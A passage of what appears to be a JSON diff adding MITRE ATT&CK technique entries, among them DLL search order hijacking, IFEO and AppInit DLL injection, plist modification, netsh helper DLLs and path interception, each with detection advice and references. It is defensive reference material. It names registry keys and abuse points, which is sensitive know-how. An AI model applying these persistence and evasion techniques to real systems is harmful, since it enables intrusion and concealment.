file.\n\nPlatforms: Linux, macOS, Windows\n\nDefense Bypassed: Anti-virus, Signature-based detection", + "value": "Binary Padding - T1009", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1009" + ], + "external_id": "T1009", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "519630c5-f03f-4882-825c-3af924935817" + }, + { + "description": "Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. (Citation: Mandiant APT1)\n\nUse of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.\n\nDetection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under Valid Accounts and External Remote Services to collect account use information.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Binary file metadata, Authentication logs\n\nDefense Bypassed: Anti-virus, Network intrusion detection system\n\nPermissions Required: User, Administrator, SYSTEM", + "value": "Redundant Access - T1108", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1108", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "external_id": "T1108", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process use of network", + "Packet capture", + "Network protocol analysis", + "File monitoring", + "Binary file metadata", + "Authentication logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a" + }, + { + "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol\n\nDetection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No", + "value": "Data Encrypted - T1022", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1022", + "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf", + "https://en.wikipedia.org/wiki/List%20of%20file%20signatures" + ], + "external_id": "T1022", + "kill_chain": [ + "mitre-attack:enterprise-attack:exfiltration" + ], + "mitre_data_sources": [ + "File monitoring", + "Binary file metadata", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)\n\nDetection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator", + "value": "Plist Modification - T1150", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1150", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + ], + "external_id": "T1150", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "06780952-177c-4247-b978-79c357fb311f" + }, + { + "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\n\nDetection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nPlatforms: Windows\n\nData Sources: File monitoring, DLL monitoring, Process command-line parameters, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Ability to add a DLL, manifest file, or .local file, directory, or junction.\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire", + "value": "DLL Search Order Hijacking - T1038", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1038", + "http://msdn.microsoft.com/en-US/library/ms682586", + "https://www.owasp.org/index.php/Binary%20planting", + "http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx", + "http://msdn.microsoft.com/en-US/library/ms682600", + "https://msdn.microsoft.com/en-US/library/aa375365", + "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/" + ], + "external_id": "T1038", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "DLL monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "46944654-fcc1-4f63-9dad-628102376586" + }, + { + "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the Gflags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger Values in the Registry under HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options/ and HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nSimilar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Engame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)\n\nDetection: Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor the IFEOs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017)\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: Administrator, SYSTEM", + "value": "Image File Execution Options Injection - T1183", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1183", + "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/", + "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://www.f-secure.com/v-descs/backdoor%20w32%20hupigon%20emv.shtml", + "https://www.symantec.com/security%20response/writeup.jsp?docid=2008-062807-2501-99&tabid=2" + ], + "external_id": "T1183", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process Monitoring", + "Windows Registry", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "62166220-e498-410f-a90a-19d4339d4e99" + }, + { + "description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.\n\nAdversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access network shared drive", + "value": "Data from Network Shared Drive - T1039", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1039" + ], + "external_id": "T1039", + "kill_chain": [ + "mitre-attack:enterprise-attack:collection" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c" + }, + { + "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Engame Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\n\nDetection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator\n\nSystem Requirements: Secure boot disabled on systems running Windows 8 and later", + "value": "AppInit DLLs - T1103", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1103", + "https://support.microsoft.com/en-us/kb/197571", + "https://msdn.microsoft.com/en-us/library/dn280412", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + ], + "external_id": "T1103", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Loaded DLLs", + "Process monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41" + }, + { + "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially Credentials in Files associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as Windows Management Instrumentation and PowerShell.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: API monitoring, File monitoring, Process command-line parameters, Process Monitoring\n\nPermissions Required: User\n\nContributors: Mike Kemmerer", + "value": "Browser Bookmark Discovery - T1217", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1217" + ], + "external_id": "T1217", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "API monitoring", + "File monitoring", + "Process command-line parameters", + "Process Monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7" + }, + { + "description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nDetection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nRequires Network: Yes", + "value": "Standard Non-Application Layer Protocol - T1095", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1095", + "http://support.microsoft.com/KB/170292", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "external_id": "T1095", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)\n\nDetection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)\n\nPlatforms: Windows\n\nData Sources: Process monitoring, DLL monitoring, Windows Registry\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: netsh\n\nContributors: Matthew Demaske, Adaptforward", + "value": "Netsh Helper DLL - T1128", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1128", + "https://technet.microsoft.com/library/bb490939.aspx", + "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html", + "https://github.com/outflankbv/NetshHelperBeacon" + ], + "external_id": "T1128", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "Process monitoring", + "DLL monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2" + }, + { + "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.\n\nDetection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017)\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, API monitoring, Windows event logs, Packet capture\n\nPermissions Required: Administrator", + "value": "Account Manipulation - T1098", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1098", + "https://docs.microsoft.com/windows/device-security/auditing/event-4738", + "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM", + "https://github.com/gentilkiwi/mimikatz/issues/92" + ], + "external_id": "T1098", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "Authentication logs", + "API monitoring", + "Windows event logs", + "Packet capture" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27" + }, + { + "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).\n\nDetection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\n\nPlatforms: macOS\n\nPermissions Required: User", + "value": "Re-opened Applications - T1164", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1164", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + ], + "external_id": "T1164", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "6a3be63a-64c5-4678-a036-03ff8fc35300" + }, + { + "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. \n\n===Windows===\n\nExamples of tools and commands that acquire this information include \"ping\" or \"net view\" using Net.\n\n===Mac===\n\nSpecific to Mac, the bonjour protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems.\n\n===Linux===\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM", + "value": "Remote System Discovery - T1018", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1018" + ], + "external_id": "T1018", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "Network protocol analysis", + "Process command-line parameters", + "Process monitoring", + "Process use of network" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n===Windows===\n\nExamples of commands that can list groups are net group /domain and net localgroup using the Net utility.\n\n===Mac===\n\nOn Mac, this same thing can be accomplished with the dscacheutil -q group for the domain, or dscl . -list /Groups for local groups.\n\n===Linux===\n\nOn Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User", + "value": "Permission Groups Discovery - T1069", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1069" + ], + "external_id": "T1069", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "API monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "description": "Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a Command-Line Interface, Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these utilities for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd.\n\nDetection: Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands and/or spawning child processes. (Citation: RSA Forfiles Aug 2017)\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Windows event logs\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward", + "value": "Indirect Command Execution - T1202", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1202", + "https://twitter.com/vector%20sec/status/896049052642533376", + "https://twitter.com/Evi1cg/status/935027922397573120", + "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe" + ], + "external_id": "T1202", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process Monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e" + }, + { + "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)\n\nDetection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary file metadata, File monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User\n\nContributors: Walker Johnson", + "value": "File Deletion - T1107", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1107", + "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" + ], + "external_id": "T1107", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Binary file metadata", + "File monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n===Unquoted Paths===\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program.\n\n===PATH Environment Variable Misconfiguration===\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n===Search Order Hijacking===\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs 